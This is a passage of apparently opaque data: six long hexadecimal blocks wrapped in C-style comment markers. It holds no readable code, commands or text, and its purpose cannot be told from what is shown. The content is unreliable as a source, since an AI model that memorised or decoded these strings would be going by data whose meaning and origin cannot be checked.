d6ef58c4f904c53324269d28bf1074415fd8973856416b0a9b34a2b2f000d12f75cb8336a0628af8bcf6ea1cbde471ab8d73fec6ec609964d6f05f449bcc5ec522b6e9a72f1c54bbe8c0ce5172c1032732d95795043fbc389b04815f79aa2fee62937239abbe8cc17ffd08cd8b4085891083c3464b23eca2ec90f29984d30d3a7d2ca61be7ee68c0340563f59dab9c74a834e9fb6718018984afcff214f9bacae173da5d04e97f34285bc0e7a6faef2468926feadd8663e5e6bba1e39d92138184a0a83305c33e107f0207ef92095e87fe01ed57f756e012115f009589958a62aa717f8c646e45a55ee69b8052332e0c48cedd056f79efa78d72ed188894ab6c29261c372b7654bc66b0819d9c423bfec2575063d87c10d750bac93a23a1926c666a4be13dad0fd45fa772247598299238f9d2c7cc979ffac81cf56402aa2e0becdb860d0e9701d2579e9747e4917fb4ce96259bc6ca1a0cf87e4c6be7907a52739dcad48fae04e04272dce9cc0abdcb66a5d767269b33633f8bf837827484cfa21bff833f40ef57c81ccbe036aa156187f612d896e81af7df7ac922f3d5edd651b8fc02921df2d667983c332586a036ee057194f934141ebee23f7120fe75822e94384ff3b436ffcf031d248d46b45bacd807418087957b5e95ba8c74e44f65687181538f48b93e0684eecb708c81ebb28fd2ca8c83bd2f8d552e495c73c5fc3bb16e66c875a636d871c68fc4a9b163e3ad002d52e798d9f933c4d4e48eac8d10f1084f846758aeb640fce9b793c7a86605cab8d07ee0408cd7fb287384f221a80ae5047a80126033b49b401687c708c72f1946f95d3e5c6f8f7adb071d299fffcd51207455d2779d4d1e063faaa7afa928c0deecf61f0b722adb7b57d4636da506d080b5834057274df72fd57d3d3f09f8f5d3a810c0cdc4c3bcc68d37b63c20fdda0875682f38f19c1b06223eecabe4df2ebee830ccce8931c844a2da9e5565a9c64193a2b6f49d611bfb5fa74ef8df11d4c386de46cf49b0d86c9b492cc9b25c6dcb11624ab84a090124eaf9f7c63b250be1611e248dc8830a7b693405d9d4fe4132c6f42b09ec9cbbee27ec1781e12694ba77dcc2e6776c9a3f90027007ae8c88a21c8e40553291b461571c96e41ff9d273ec7a1b4d99a3194883bdb00a6b54dce4cdc07ea0b62fbbfd77c2d5732d9eb98e4311db72d52a87d3d61a8fb75e9a8f337b2bed7465866413ab2ad0921b88a47b1636ca918f9594c80c3b00004dd7c888598efe81c6bda4c60472ea283eb8dbacdf48afe9d82615404260b3d7a69f148fbb7fbd196a270ceb14ec2f3be9f6c072aba71551ebe9f19a75d8881f58d6a9a888e60f8d8c206fdb527b9cab8bf29a8bbbfc0c4a8452c204ca1197e21fe825817a8f5a2dc2f66167a74ba0fa4d995cb7f9cf7105ecf3e0e4a588d7fe186db83edf3b5ea05db426fb863e07f69c8ed2a641afc02e1b4beabf85c7e625269b6a37e7539402d0d8a828e075aa376268b751c88a7efc32c97ba7a6e90773dc6cb55af0c3b96690cab3e97197cfe8ea7491539e10b4b013c2791b161bd21346da75c4336616927b0aaebb263309b9c5ed56e2490693f4b5fb6a8be3572f582cbb17b8d7a5b3f9aae45a1a27270b6cb35d169a65ab427bf6cd39d1e04a10a85ab3c7b6fb1c765bb0ad96caf71ba804778324a9673f3a3bb12203dd280bdce746c9fe28282a8b7f00d1621d3fe35230016f724aceb53f285b81b7d1152cd6d2d00e4d3c163a11adbb1da58320920e20d8d2a7a77bd18ab452d8c5db8fc2dcb1c8283158f5ce596b9a7225fa4552f7bab42faf5353d5298c680a087940a93112271f0a2403cf9789bd46d636f4262782d24a4965aff3828326e0c61bf81eaf001d43a4635b67b39a45efc7b71791141d0fe16e95caeae9e101*/
/*f38ef3e24891a9d38a4fbc4010d53a1e1e7dd26124cc2e34abc301f6ec199572bf5de098ecfcfe32e05125dfcb387eb21de00942b3c5be5059acb9eccefd95967e2edca0ed6d1596a90cabf77b708c0f22229871602f9b0f454584d2d79e246d49f6060d0f414f9980ecacbe260e0f99526b1b7024a8873fbc505c2013fa8704309d80aa2b41ee5f73de62e31d94b32ca7451cbc9e7ade67b5e8e62288e417f6b9f3547082f81fef8e552aeb6649b7f8a985ef420d5469d460440d73acde9739a3d045bdfbeacc1f60b27a98e4519491703e6ae1da3880f7699e57d743a97c71857b3907694e6e63efad1b6c1fbcf78d754e38c0c0d4ab74288a71325edf60980ca97571d81ae5849b83be108a97e887ee7016ecdd489eb8a23e560a3eb18914e5882480f01559d6c5477fe17d06445b7f634b65aa99094d63b66ae5ca7ffceb7d79f0bc9fbd5db507be1c2f782d2870b76006db86b3e45e0d2f35e45e15b9e6e3d308411560e35cd3e7a07932ac73c811dd165818acfcd3121fb5337007b0057671a2c17c1ddfb6056323f07f7cb4e823d38b2f67360018ee0ee697ab74288e0573f7700641f30017e21cc27489ca4c67aa6b449ccc4c283f70896dc3398fea7f234dd2527094328b5126f7b028b1bbe5837903443a7257f4e9575698337b9d0b1489e74cd2ec686f55df35c92cbf7402dd96fc369c008b7238b65b3a5edeee78f082438a93c0999ed53800fcf7b4e52dd197bb33819bbd8481731799e59b2ff9474a68f1296ffa696ad5418954ba6b298a66b1e08020c879b793107d58312cbcc8082f78da46e986494314dd9ee921da3c056b6bfe71e092685ba11e7d9b8ab53df1bc8b683ad03bc1ab7cf5856e7f5719390d8c24f3fb35ded30b1c3e6342a57c088eed3a0a1f35c9357d8dab0606c03401e170afad6d9e8b866ec5781f633800ffa92913faceb74a2918a1795bef0fa544b1f6db3838497b0162ca95e81cb0c30c8b9ff604bfbe0d07bdbe126f792e9c014de9c95f5176fa4c7593b186aea99ef0a3f92e30413a26f30a10db89bcc1d1dcc324aa3fcbf40d308af4f14f22151b5c7e486d87bfa7e66e98cca76569f94af95fe4c07568dc7c158ac950fb694254cb5c65867231558fea0981b1622c939fad2cbbb4e0cc7ebc2deed1a5e243c27a5d7e8a6b541ac5d753070ce516a47974b1ab74ff8b2ea1b1cdda17341e8c5ca1ff195fdd413b382e4b3e5cdc5b2471d743bf911c59dabe0811474e27b71e4a8bc400f57ab579219612ed4eb5b654ca256e2bdc3718eb6e358283c806f30838b7fb54a3568c86186360e815dd6fa1b41872f4b8da0603d154a125311867db027b22df91c9fde630e1dcd70a19d743473aa2aea83fd31b00ed2c115e577f14814bf6bad0d47416367b6c6089a96981cf0ac38d69f2f108e344ddb55fa056f107636508d717446349d6ba47a22eb9813cd5f0608476de2701a2d886200b27ca152851f74cad2138365935af1c2d392b02f9286a0b2f8568e56f4c5b88d8733a40673fee5e8f21d80c6cdf46ffab460bbdaa2308c424e1d7eb99213fae3382d0b130e6d8be4452d5b0817d6f34f9ae9e1eb0d45cde85c0b49453c2255998e17a7b59e8c5453ab415c0f2a4d83a490b9af398256e438845a8d7b81d802a51d34385f6ed21a2666d07cb479b1542e7e911c5012a57cb148002dee85a4f12f086c6adbc43f1524945ebe10da3cc1478ca77b971c619c8b7a953e662d2b9763b8511cdf88e121be366e79a2d076f69cad2ff94f2f141c6053801a12fbd0f02f7c2a9a937e42817f96d3bf9c8fd65f7fef746375157fdbcb73b04278c8fb58f9bf39a06b6b01d4fef87728ae7c6233f1530840f0814f4d58aa5ed49f95b98d5afe6a0f9a887974e066a9c29ee34a0bd022ecd28b27a2915eae8dcd8763b538ca33e945928ddac3e195104772650b7b96261f5ccec78d5ed1f0c8c4c64a9c645a40fbe0f186869d2528d6eab609c4d10e48731d6d0ef7ec9292fcb604b762aad18d3de39f193d144959b505f64344303471441922bc04135bad4f7db63572379e7850789291dadb75810545606740abe2144c817fce2171276820844902bb15926a78a8091d0222aa15ad391974c9074d4dbb148d5c5d8affd7368c1fde4955b71df6963f87781efc4436904507b2cd5ca9b24c1918f69d77698fa701e5a4e26dda23e529aa9c896b19cc5068db9dc28f9665ee0e0822d24e70d9dd22c1336906ba34787c5e873cfd1e98734cb12ed101440596ff86ba2c41003c35681cfd83faff3960045fc9d2213d5c15b120e465024062076ab7e2b000c80944766fc84fe87bfa03a5b85e8e60500d453056ce45449dec8c2bb94c63eb71f52d0fe5693be975a2e11f0dc080864ccc299564f60274c6ffc1a6c728369d0df247b7d2f3e34a637c79761e54328a29fb8d6214f9c2be524f09a2ed3bcb3abf0c6c95e7356f8ff9d602ef0bcb618bbd1df8a3042b163aa6a22afa3b84c9198ebd5e981bce4eae97ac83b3d017f6c6e5ed8c53b896f4f3769ad75f67f6ed8b16454c74e04ccd4ef4bd051a710e5e752af610f447fda04150bf7d71a95d29bbd41c59463d440826a0ad250090b478d66d854e9518b5f634a61425f51324164a12adf9e7f4603a4702e69690e9681ff99110d22fa2a5b4860c952cbfbd8b144d53b809d3c55bde9b7fcd1e78405c11b7d23a25f1bed7ee8113bd4ce70f608c5d5e5727c4224f928bde2ea96edd52bc21b76ee1b52bda2c2e48f82baa7ab7ab4f1b4c1ce03bfad5e8876eaa54820be166b7f81ffb08fff2ab1f081*/
/*894070551115d869552008c00685d48f19539dbb06427121dbcb4b6f59c57e3935a07e3f84164c1b87cf2ae02937a4eb3505d4ebf6b628a36f635b5c4c47c3a9b661f4acc9249c799ee292f3027099953e9483abe39935778564fa97c4956de31c20ecc58fe35dbb2729e8a3431ecf96a3b0749873f5118a623254cf0b79913a11a96ad325000a5f01ff6b5afc6ffea3aeed05243faae7e164a10774e48fd409860c23dfb55eda8796948740d5febd21071722d8f5542eaef1cb46b6ff298f3d5d312d618f9095adf98261ff16e7055e8c278ba825051b6d6aa38700979d6d398ba5ac6a1547696bd3f143743534f15a14619081d00919ba87a26ace83e46c8f49f61aa02feb6c210af508f4ed06e91acdc04ea7427f0112ab10a6850976af45233eb1e75102025679dba30688253e8a27c026ee54dfe9d71a09a37be11145f926d165532e265ff946e5cc0a21699ff89c91c7d6dcd15e04b89729fe0b90653967b320ec55289e8d4e69c7034ef4ba16651baf4f434426c64fe499f7e735f9171eb56206e04a8af8d404760f23bf97bea3095020e677898fafe4cafba6276cf450b97412169b6d4b5d5dbe3ed4655d98ca94a2fef8c36e33287f896bade5cbd124b2b272150eec2d5facf6460ea9771ceded62db7850e3706961da11e4f2c22e59bc5ac2e367f537d0ffca03165b135df0d15c797a67a076f1677d53b9125b7aeaa20c7c9e5d592754d879d8f4281d08b92f6239cba5686e1a346b642dc118ee4dee3a319e93cbab4334a9430dd780415e6222e1cfdd8478451b758c8a0132da844ba589abbcffce7017258a7d56d8ef82199f32cd7cfd53b31b67e05c2e78d422a8bc20fd349a31851dc7b94275ff942462470ed5584626d8cfcdd45519dcb28f7c100e6fa1019b73e8d0c199a4f2715101d99846f05746df2eda1d0971fba72374c1dc02c1a9e2f061cb3ead7b97728735133e88bb63bb4703fa1a2f7906df689ac35c471569e885e2726134303a1b44c538007d3d7ee3336d4479b8bfa8bc2e76dbb0384ca73fa9f094d28a41c171a24b2abdbaa6a4fb9e56312083f00cf992a0a341539667739ad94d54c59ea40a739abec8c9d4f89f10219564122023f4aa8e6f68881828a9ec341db3cd4cf1a9f64fd73d016195174ae7c367a86f1de45f1f7c90af5c456bc526378e58313fe60473f8d3b719ddefeef9abcb1a6977bc201e947aba368e1f071ea4789260dae08ba517fffda476cdd607222f75cdfc267caca8f564384944f6e8c2ad7b40641d1c6d279bf0fb20627208771b5375e24f2c09597d50875cdbb670be7200760783c26a590721d896b37e603d633d06000c6066a2baae317328080ec9da17a52e04f4d829cc25e1fe51af9e88abb52337884574c75f2675a3817c7d89c55d05166362102f695a1e691b41aac5d3bb48c9ef13bfec1e7bc59f6461268ee5830207d17afa7c27c2fbe805b3ae642fbee2f257198c61c0304e13a67d96a922fc5602c4802227fd2ef27c1f30415ad83ac264a18ec9e5bfc51d400847bc2be4bb0eb663957339d3d1405bbe7e2da4e59af18d40bb73279242d762d1f228b494753215a2fb5bdaf6f2e986e8030cfe522755456a04137ae5bd46c33bcda40605e56f44c23e17506ff270b2f08850a111c5348a8031fe882be864c7311108ec227657b62afba117b8710f134d1d82b4499e64f49aa58cc9bb47b8758f5224e3e38cf5cd2a035abc74dcc6cc63ba672229e8e38b3e7e324d2a2cda0a90586d5d3fb310ac3e02dcde584f003f75be66bb65a9d0a79da417713e6646a5082716d613693b16802ae4956b6c03950a6ed28480c17e4ecb1b6877d921dfccee2576d793e6caf177449d6819ea73c29978ee53d72b98103110daf6a3954194aba191357f435fce98484504b7d9ae439620e92edd013cff144df4c63494831e40272b06df85010d7a06a438861c1a73a264958004d0780f6c59b5ad64fa8c1c3a099687ed43dc48956cde74ca5e27f22d77637f57b0cc1eb851cb0afce20dc7a8355bf7308a3e7838f4afe0026e8853087c1455275f5fd7fad2313349ac14ed37517c4a2f76911de2de372d07bcdacfc6ab28c76e876a4b1b7f4e86ad8053de9b74e3e5e1d7f6b734d9c2f1c0b570462c1bad094a400c89d62d9ec84ba591cf5e23d1b928bc98550726eb44d8b267e751092e23c61f8237978dfce70ed2f9a946562edabea90e77b0495057125a228f5519a5c0176c5e3bba14b77935ef74dd8e51f9f54ba1fdcfc85f5314ab939563dbb1b70749b4b6f221b69eadf91211db4eba79b31625fcf979404a6c2aebaf37022ee091b2d589d1d1231a169672a99782dd8b1b1b91d2dd4245bc63b037db5592f435f21f2e4c25e45d3744012fb3e62588af93aab13b63d99b71ac15dd586de2bf3f14b64aae84b6efdbf735bf313d6077f18acae168de4beb143f025d178ef1b8fea2e70f951069a8da1fc566a3892b44ecf0a5c48ce5a20c883f7dd573387184e95332d94165e78879d4bfbeceb0a3d4d67ca2ddc5e94da9bd41ea25fe2d9b2cfe36b836610b2f07ab0e75a056178e287516e804e1905018a7840b67b8842d7b92f03c8266d962b1a4ec1bfd5d65a7dd5c8650725be0050307956c33cec27bf5e22a79196c9b52c1ac3ecc535c288ec9d83b4c7dd50ba237293a7a758d33b0374627ac79bb7cd6ce6062a9479158526eeef4aec852d0aa828562091db3eac0bb22e1fc39ece166ad5c07fec9c0132897249dc259a469117738d43b59125f9892a8e89123726d0465b25e1800130fbecfcc2f803f5f24d6*/
/*586e4923e24306a44c560d775b33735b2f31d0456d4ac1a33ae8084fe846acbab143b5226a3b461502b3cc6183b9bbcaf0f9b9949f1e21c3d4a30185bbb51f965df67c9cdceda655ebced79a5c15fb5c7fa04d137af82acc5833ab9c3dc5de895f7d61caeee45ab75055a449584bcb048c3e4719f84ed5002eec74f86ef544e742a756801909eba836a820b998003c16cf1c2a7f339950f238254e6dbdeae9031aa7c9566945041f6ba2cff93f2e770eda37e0c9c89d1550a0c2e91b5112086ba3a2d8be2c33a547577dc5f3ea1ad0da9083c522924d2a4473033a048568674bfbe038d23dbb65fa110c5b535c4deef1895bb5b4312a38058f6bbe99c2ece60c7bc6deb3668c8984ae5cd402bd04cd46a8184f619f7e2a1401003d6e04ada399cc1d65d4bcd787bcadbc4d709f502e9035d30ba554259fb806bd3408aa437f290737d059ce58edbe9e116e0c03be8eccf567a96a5417068b3511c23476d4800879f16e627c87eb4cc95dafb359a78bcdac2083837069c2bce4b2e1f9a9ffb3b8443d474df7018506fb6ccd7239c1648b4ced39477b7d24483e43e10b64f58b8a43b7ce1f4b18b997aab0bd88e9396fa63d6e95129fcc2cc9109f0314d606cdfba6311fcfa9d969c24a6e714d44ca028d67d19e21c354a4b3f628db9bb9b32651f5e476d83f53f1d50c4cc60b1e8edc002cb4bcbf571c3b5b4bd5f4e5a9c2030251ccdaa60c2a1c8f5d378348214b6a496c1afcfbf2f2c4c4cd8db0d0d4498ead90709c2379d7f4d802175fccbe3a406855bb4ee5eb6efc34a0ac58e9ec99f6e81dfcb0e31deba553508ef9f904fefa37d4dceab5fea2c47b52303b038c74fdd3685b8a879ae9534147af8833287963915cfd5085e270d46460ba04de56755ff3260583a92da1318d9d7c481b0c5a8da1be9d5ed692d877a10b89f2bbea422927c22dc313a8f17e07a288a7b638135bbf9285801d80f7e434c397c401c8484c2552d962da2e4c5f2c728879b8cde7bf0594d4eb8708c16061dab295c4081d881c73196b639e00e12a2a64a20de69a29d9f9260931abe2035c455524bb99776eaa1a8115a7d8f55d6cbd037c8e716244f7484d3c981b5b3068d9d1ce9133e9edcb8a6af341c36d6bdbaa9da877efd65bf401b304c05c2703612fe7ebd9a4109ce469fa736f08cffbe777d19d84bd05ce966c39be1210e5cb72b77b888b81ada42fad30fdf55d7bef10fed46e466e38420f21c264c638fed432f35497df45a60b5a3fc10a1d67ed31d4f757603cbe0861670112d723f129b876f90d11e9ae0f9948c0c3bc2a1c2e120bf4cfa80b15a2e9829b45bfd437c1f522107000a210eef9efcb5b97c104d75739b4bf3283910acc574da85fb680abe680b055669bca48319d63b86791110096d662176236d47e05b89559288d082414d060970c5c758fc3a73436585861fec92be73626db0e97eabc13fccd41974f3e6b372fcab932451894290bb3302d34d85945c25df01d12411bb71a4220469a139f3dec3e68e9947508098a31a71b6810061a309e8be179337b1f718b4920dba6c10569b1fded813817259d1fffb1628557878bc8a510957604eef1ecc30885d85692c3df7ea0eb9ebd79c0746d3425219d77ae5febe069b3e8d32aec6d01d615149f28ecc7bdeadb826a1df1b9852c88fef1f753df53171ece38ff2e0db443ee9f4859db907ad642a009794f956bb90f376b5252a667f58743000afcd5a9002028c6fafef38727dfbb1a28948e6477dec6f3e101a1a662fa8f0fa6028fc28403b93caa3498301871e74b57184439857c8ebf10e0f77f98b379bc44416a0488ba553540867c44193e58e6bbf2b573fee409d810c5c88201a0ad6d087b4ce756be309554a50b0ac6cb482b9e33d0dba245a4f41f0a23829e4aa279ff717a5e3a0eea204e7a89351b01a012ec82b87c371935c615c221f19c4dfec77f8ddf4b102e502d5011ae74d8d1404fb9422ed5c5ea4db96f90eed55f4b049eb716d0beb4b68656bb01391cf1e5124241a21fa394c4359241daaec6e351940e308f2360c62186018ca2a76407b235fe8a2a5f9318d5743b56574c011fbcdef9cbf13f2155cf39325020330d88da11fb64fc030d8699be9d4e8e3d1b412a04a0dfa7cc9b13ec3f3d3f3ea99a49df0c841a5e778494bf1134300d78ba1da461fff99429faa5347d53d6800055184d192536bfdfa087d6585b27dbe01e0e433d71b0b618cbe68979aaf9eec9b2714eb4805f5934895d9d2d7d948ad487e7e4a4848967c3fffca85a1630cfcec4ea8053cda25e776fddd2c1949911a9360c532c20d9c557162cfd3f268dff897e28f585ddd8e2fc6774c029a72e712212c7d09a63a336a29d85ff2a63b91e6f9bc22669d90e27245bf214fc6535924b33262660dc6ed91fc5b5017b2c9296b70ac74de721d90c6a4d16753343e165ded83ae662501c227a9da7cdfb3905b7b6083206b00e3ffc81ae883c8c854345a53d455d36726967bba7588517c3c56faca842efacd713854263b3cf23a479782f37cba409b46073468e7fb52a8e9bce9af446ef33c5d791e1e44b2af9db18e875a0b75bf4bf895ad00905a48734be5f4238bf7d57af762b58467fba904308803390fdeff176c0cfdd976b18fec88c03d464d5631b449badd4ca24ae2b65af554e765fd7aa771bcfc79cc1fa2e1681bc0014cb0ed08b626dbdcbfa8d56cf1e9129955ecda30ff9426e12ba1f4232649edbb6525b705e3561309d3b8f801bae91745786145aabe3fe75e98bcbb5a9131e438f224598bc05cd1f24bfb1bc5b5eb6514b47d74a*/
/*d8c13ede7a0748e7aecaeda95bbcc4a900f189e1736221364bcf126dbe3cff0f9eaa8191f7e8203fcc714a6f42a5a70add1e0b0f185ab578f8350afbfa3cd7f21fe04440e47793eeb8eaac4a6e0275d89c6de8487c411b96c218ab5c0c17b8134e55e8de492adb0d763f5d3deec9c170990c6b97740a7b3b7a2ed1f8e72549449e8a44520fdf8f5f8be4ff459c7422af7727f6b2832e973d4d97da0684f20d47d7e68b28225037b849ca545e7b7c13cdc8e6a7a01454bcb26a43322501bad94469aa72d5851a69378bc0f304f02855da558303bd0158915499784a9339f20c2155dc59395a1f6f248f11161740367c74821d69517e7fa8b5ea44ea205e33ab2e5465535f65b82828ea704e29e9ea18be3f4de8309049340cf189ee2002784034e7e538f182ed91b6f4ec87c15afbd5bdc04a5c92ce8082b396b3ece1e5a6ced31191d4dc53dbc8ce316a4eac20af35239d3da1bb26813ef23bb8556940a4e9e6719179f23fdd9bd6c975489b17f4cd003b421db7a938e811b3a2dde6d84c88f30e2f610190b12c5abce87a3b44d9f9027eb7a3b7339cccf54fa95dad4a3b90eed1c0791344799b1fc7d1f41992aa799917cc53e12a96539b90a32683fec1fac78980a565fdf1282f94009862347461f013d1551a2330f9e228b5f1b02ca43ae9525adc744bfd0d0bdc774b15aaab547b88d4905f03ae604feac4bcf237e4a83408308682bac096155848f2038db9e7db5313e8426154e5fe2baf1b21e98987b6cf66f033e87fc533093fa6b4d96d5979445db0a2dcd9d68f49dcd960c36ee84b2113f9a7be3d2b509d5bbb0ecdf653f9064f81c8f53dc21cb4b340024ec880588f3757e532139e52ee171d30fad97c771a68c5b71eae8947b096b6ca0f1dc57551a6dc8ed173ff4bf7054a72e17d3c9d47eaf67fb8bff2971dfffa5af71bbbd1ad2aad8f426913005a824f00339c416b4fbc6213da177c521626a452a0a32d4e8b19de8865db7661c4b0cdaeffb1698ca394ac5f821a38ec31e89d76af980e141ba017c40948f11caade4a218ffe3202df216c5f96ab457814c9a28a2e4d21bbd3c5f46d09c794fc490e32b95204a54731c21d1f8af72a0be398311782f2f87d9aed4c2d61fe14316575f8a8f27ba672f8ccdf2161b58e2c576c3fae2b0da4e620042356186e843a1ced619b1594ed23311f00e2d11d1332eee62dfe91d70949d7726f85921499f2a8b4eb1a6b43a90c0e62b17a0685ef8959cd90bc796223c1891c80708817936ec5e5bf9345ab6ce5a547523977067dd8d2851ba25e75598cfa82bbab28e5bd9beaeb5bb401e846e6ebaf0a4e91dfe4afa621df8b902794cdce9249fafdaf1d7c8177221024f5020327c3fb1a0e8ff046ee5517dd74e74dcf58b2ba7105862951d2ca8b09c7946c2c986bb350f439e0e7e6203b7479d0fa9ae6eccc949e6911799601fa8c57512f9b6b79a2ef1e6beb69e0800570eb5f72c31274746e3cf99cea2afb0e18f6e73ef2636dff5f23c9b66cd9d86e5101830e6366ea62cb7157d5cfb3fdee3cc84b1cf9d6bfd49f0861a8e6c49588a78255703632f77ce4bb7cdb2239c8c6ad7ef3c223dd2eff463a4095bcbeedcc430c7f4b9bc19fa0569036f9b4bed49485beabe8f730ac5513c448ce1b3d877015d9bb712798492b3c5038193834c418b3ae94863bace0f1826bf05fde7eb9bf8a1c505a382bb76aac4e7ce82ff795476185d36624077e1d15733429e5111b8c6b0ddd397a473ccd3ee0e87ee99a77d534dbdc7a2c4f8b55086352332d948c4017b4d6ea50fe3dd7691bab9c88b54c9a84b7d62baf5585ad223ca13196097b355e155652cfe8b180f561ab8c3a368c0ac50e0bd902c42970453de9e6b806d04738923851c5a504e398291181c1d21f65614dd186d01e9293d0781c78441577f18c1e653d050b450e8776d3793033518b3e6145dd2603b643fe292a6855d68289b260f4ca5a94046763b8ce37b034b765451e5ac0ec6405f8828ded0143b0a9e68341662af6d9af972dc67fc1e1614e0a48028a91def751cced6645b63d5912b3524b2f68c8621c0c0832d21ec4bc23fd842448806f8b114fdf610704586facea614eff454a4a8ab84dfc1be79b0c3c0eac43cf499014b23503e089377d5acf77714ea0fe4c619fc4f5a38a72884fef0746637ec4417b0fa3bf0a8fe988c0a6ed313424f98d26f74ea19406584f4c925da5561ca812ac46d4f612b6c814776cdd957b3b71266000f7cba9e4e5d6d80c04d7056231931c3e77ca71282236dd7e13d9432e5b1b9155e85d690a773245d79789e3ac22ac7fc5d351adff6ef340e2da74ee7805652e453d21c07b20f36d56a0f303f895b8b282e98f56b5f0e9c00d2b935174638a96547a2bde4d190e1e76c9b87eed6d503a164c426b86239584d78ed80773a4e102be450bd1f402ece5e01da7f1f78446bc80d55281e6243ee7d24290cf18f1e2bcc045aa08eae2c7276c5772c1a1f883a7229602397b919a262507efcd86c3491f2df62e642a575fda8fda1b94df3cf39bb62fc98786e971fae1e85957c174eb6a71f41a65c8f7743e007005a0a3a5e85a23e0af1c635df1f89e7fd624d0ec49f778edae034a1afba77f1c6a2a4318946e6d0310f7c39a2e6bcf294b5fe437ee80400cf24eb692aa3b4017ef74515569b61bc53b8aa449154cc6449677123079ba3e66c73d49f5f1489d0652ca138cefbe62af0bec750bc050bd2cb3a341e5fa513c14d3dfc731983d8b4007a6c333477660a21c5edecccb95d18a0ace8fd8e00953d2e208d2dc3f066e5d423d78f428*/
/*25089bbf6a515bfce36b0da5c7419a302a4ab89eee1fbb1a29c5f279fcb163f0cd14f745734b707b4202d98144e13b00ac84868a233127c6a3c3e3b73b95af7b3f324cc2961db99b2f8da53ffb6f7314804b16c78322f38bf29d996e5912b0ace83262b6d44eded7d1546ae11ec9640a4f4666d70736a19733bbd02971132a5768939d491062db8e0fe01b273ba7bb2318e26101f20951820b4745dc952ca85c5743a7b9147c5126457cc5555e73d7a07d7cdd6999d35d46e24cfdc11989502b99444b449dea733b0c74153163836cdbad97fa46fc5d3054f548915c4f8dcb0869bfe6b1b2cf82cdf406590c168c289de7469846dcf429da4bc24381e8baf26764855b2431412bf02312e8b67fc1fd577a4f4a0629f92fc3698681e074944aa74f6517d398715ad0261030dfa8d1ca2b02c01bb4f5fbd2250d8e51f893dee27617e6313cf56c6eeea4e9dadd61e3e0224312d895a613263c19131472f40930d66c419e8825a0ee867ee3e4aad2cea3373ee5daff81330354f842ab042fb308ba3a55d86b2dde3e43c56ba68977d9ec0573a019c2754c4b69613fa1b345396b3546ee798e8c10efbc32bf85b96ac289f3c4c525b3535cbf537018bd89556e5c9af32292990c4b1bf26e03539f49645c7f0c39bd16e69780003e1be9623b221977af8f44eac40e4a63081dc9a680bf454557adedbae86c680d70d643942d29b05a1660cada8d6fe48b93efeba6f1efe10fe33ac7f56ca1d4c27e0caceb6da3220d6d889bf61321a59868759ffc4cd8e63b675ffa6e747752c7dfa1afe29128404cd6732aa004c498c0488c7f7d5b45a9b82fe8160139a7f8714ec38359159974e06e18186881943c55c7b2054cc40bb078e30753ca34643eb6c2a5c3951479c9cd34dab1e6a5345fd2e956c1beb476baef56a1b3650924d6ae022f926c3b34a653052e3bdad3f62f081429627ad1c90d1a15c249eaa90d8472de28eb617b4289ed9c44a4683a60e4e72890cfcccb43bf50c3684fb7ff42a8863995e09bfb4561aee556c9a13f42a798b11d110e2ab58e4b4b3ed83acb3eedd741b702b988e7b9fd6fbdf132593997098d20760c1d8ecf66eaa72beac9d86861af7899e2edae115f92c27229b3b2184bb57a250eb40099a7b480613ce41e349094ff5680e2f8113ee543407f77bca6f94e12f85f84a685a080f24bb705fd81b8de3364a42e47f90eb2ca6694fad8d3f8cee9602517762592b65131f510b0803cafcc401fd89f5a28ad9dce26dbb963f31b7c314c30009732a1030f4fb03cd439d558ed8aab2ab2b1f15dc231f268b0175a88b1e336b1cbd56ef6ad642deed5057f06193bafd7edbbab16fc8f9b91f503245f7060da19bf9d850c97eba1f3351c23f711587035592d81335729839df6388cac40c882ec97f3285148609c17ee9a788985f5f49ad01e3ae4cdbbd56296964ce44416ac30bb1f788213dfa14adf97c55c8c1b90f2e7edc474c40625e1e492a8e1eea13bb82e104c7d2edd643f3ec74a45b1eeb99c4e73a9c4a47f276e84ed7d674d371cf34751e436e9c88c08a5af9cf919c1a0651259463779b0b4c1abea1609d8bb6ddc8a8742542ec02ce56ad2f8abc0fa1f35eb683ebc5a3b9370a9fd9a24f03aa5eeb45d513d0c71647f505490ea7801636fc771cbc75f8f4ae244e15ee887d33c4a64f037bd1bd9dbc24c76603e9e50ed25cc89b72312dbbb402259a58a101bbff333b08a754a1f847f192fd651d2a6ec0e04e6eb6a28ff966f60ed3314693a00dca0f5e5cb1583ed2dc9393f3d9a77bea8abce597d255dbbfb1d7ae4ced247c36aabd62629377fe6489d0cafd5d6c04880d079debab330d98438d1d04281f298c5fe7d51549b2cc63af7dc9ca7bcffeeded326de7949bdea84648ac1f5f9f1720cd4a4bc706de9074c0fe0de88db5a2dbeaa7db09f31022d527c268ca8c6ae78eb91283199fc461f0565fe12b1c4c5bd667e6eb08b214fb7b79a5cc638efa904e8a4cbe636af87907cc061a2c9a5dc5dea5356923ee739a2aba359fd458419426d6253c67c6838ccec4fa6f0566b7ef4977b529c10064f882b9e84b0919bc330c5e62f549acd54cbc030b0a5f85281b163446b2e6e8976495c7c7d9870f94db6143f6c8804432babe729f6885334653c69b0887cf4e160dbffdb23b25902eb57a28310341d584846ed9aa693a06880e83eaeaabf747f05c0a1e71d65a166e07382fcb0ec81a304c15fd32268087d2cbeb1474121dcd54c43b0eba91805dbe7ad8456657512b24ba7a81b6ef77599d1e076904c1a4d6814cdadc69edf1214ed0c741c2a9906d9cee1de02ae714fb1df84c7fb20660003a7e72a31393f4274ece02cb68b82d5dfa7a40aaecea25314cab5a2cf7ff7d91e9da237a8f288765658b781f1f37cbb9b6f796fefcda7d69ba94601ac70c85aeb975034edcf22270918ba1d5f37307fb3ce1b2e16e8f50393a2c3022fc62b54bedde40248d0d0d96ef46773eb43fdd24dc95191ad02a53b5a0042b7106e64cd79e94932542969c968d3a7fda75473e8f4f41da6cb99c43df8bf3410018895c7edb8aa4f2c8c7c7004e9e513423291d083eacab1c0f0618ff15bb50f89a0208d002388c92bd42f1ea7b011424790808a8f0c0a6f4d239ac3eda21ce6dca7c0099da9aad8a459224fc8350e94d712b67e8e7d3c744195b28f8bf2b09cb5b6149bde5d45aa8210beb1d3d72fcf4bf9aac8a677f9ff582841c1584ca69cc30a5902e3deece358e5811f515c5a289adcc91c5b4c963bbb1a880d8ae072909e19ca296ed9dc2b1912958a4447779bf070*/
